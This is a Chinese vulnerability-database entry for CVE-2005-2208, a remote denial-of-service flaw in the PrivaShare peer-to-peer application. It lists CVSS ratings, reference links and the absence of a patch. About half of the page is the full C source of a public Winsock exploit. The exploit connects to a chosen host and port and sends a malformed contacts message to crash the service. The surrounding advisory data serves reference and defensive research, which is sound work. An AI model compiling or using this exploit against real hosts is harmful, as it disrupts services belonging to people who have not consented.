CVE-2005-2208
CVSS5.0
发布时间 :2005-07-11 00:00:00
修订时间 :2008-09-05 16:51:10
NMCOE    

[原文]PrivaShare 1.1b allows remote attackers to cause a denial of service (crash) via a malformed message.


[CNNVD]PrivaShare 畸形消息 拒绝服务漏洞(CNNVD-200507-094)

        PrivaShare是一个P2P软件。
        PrivaShare 1.1b版本存在拒绝服务漏洞。
        远程攻击者可使用畸形消息,导致系统拒绝服务(崩溃)。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2208
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-2208
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200507-094
(官方数据源) CNNVD

- 其它链接及资源

http://secunia.com/advisories/15933
(UNKNOWN)  SECUNIA  15933
http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=66
(UNKNOWN)  MISC  http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=66
http://securitytracker.com/id?1014412
(UNKNOWN)  SECTRACK  1014412

- 漏洞信息

PrivaShare 畸形消息 拒绝服务漏洞
中危 未知
2005-07-11 00:00:00 2005-10-20 00:00:00
远程  
        PrivaShare是一个P2P软件。
        PrivaShare 1.1b版本存在拒绝服务漏洞。
        远程攻击者可使用畸形消息,导致系统拒绝服务(崩溃)。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序
        注:未找到厂商网站

- 漏洞信息 (1093)

PrivaShare <= 1.3 Denial of Service Exploit (EDBID:1093)
windows dos
2005-07-07 Verified
0 basher13
N/A [点击下载]
/*

   PrivaShare TCP/IP DoS Exploit
----------------------------------------

Resolve host... [OK]
 [+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
 [+] Server DoS'ed

 Tested on Windows2000 SP4
 Greats: Infam0us Gr0up Team/member,and ll of u..take care!

 Info:
 - infamous.2hell.com
 - basher13@linuxmail.org

*/

#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
/*

        Offset 0000ca10 to 0000ca2b

0000ca10 6c 00 69 00 73 00 74 00 4f 00 66 00 43 00
6f 00 6e 00 74 00 61 00 63 00 74 00 73 00

HEX:
6c 20 69 20 73 20 74 20 4f 20 66 20 43 20 6f 20 6e 20 74
20 61 20 63 20 74


*/
"listOfContacts,null"
"***          PrivaShare TCP/IP DoS Exploit        \n"
"***-----------------------------------------------\n"
"***   Infam0us Gr0up - Securiti Research Team     \n\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";



int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf("        PrivaShare TCP/IP DoS Exploit \n", argv[0]);
printf("  ------------------------------------------\n", argv[0]);
printf("      Infam0us Gr0up - Securiti Research\n\n", argv[0]);
printf("[-]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: %s localhost 2001\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1];
port = 2001;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf("        PrivaShare TCP/IP DoS Exploit \n", argv[0]);
printf("  ------------------------------------------\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}

// milw0rm.com [2005-07-07]
		

- 漏洞信息

17764
Peer-to-Peer Chat and File Sharing Application (PrivaShare) Malformed Data DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Peer-to-Peer Chat and File Sharing Application (PrivaShare) contains a flaw that may allow a remote denial of service. The issue is triggered when processing malformed data, and will result in loss of availability for the service.

- 时间线

2005-07-05 Unknow
2005-07-05 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

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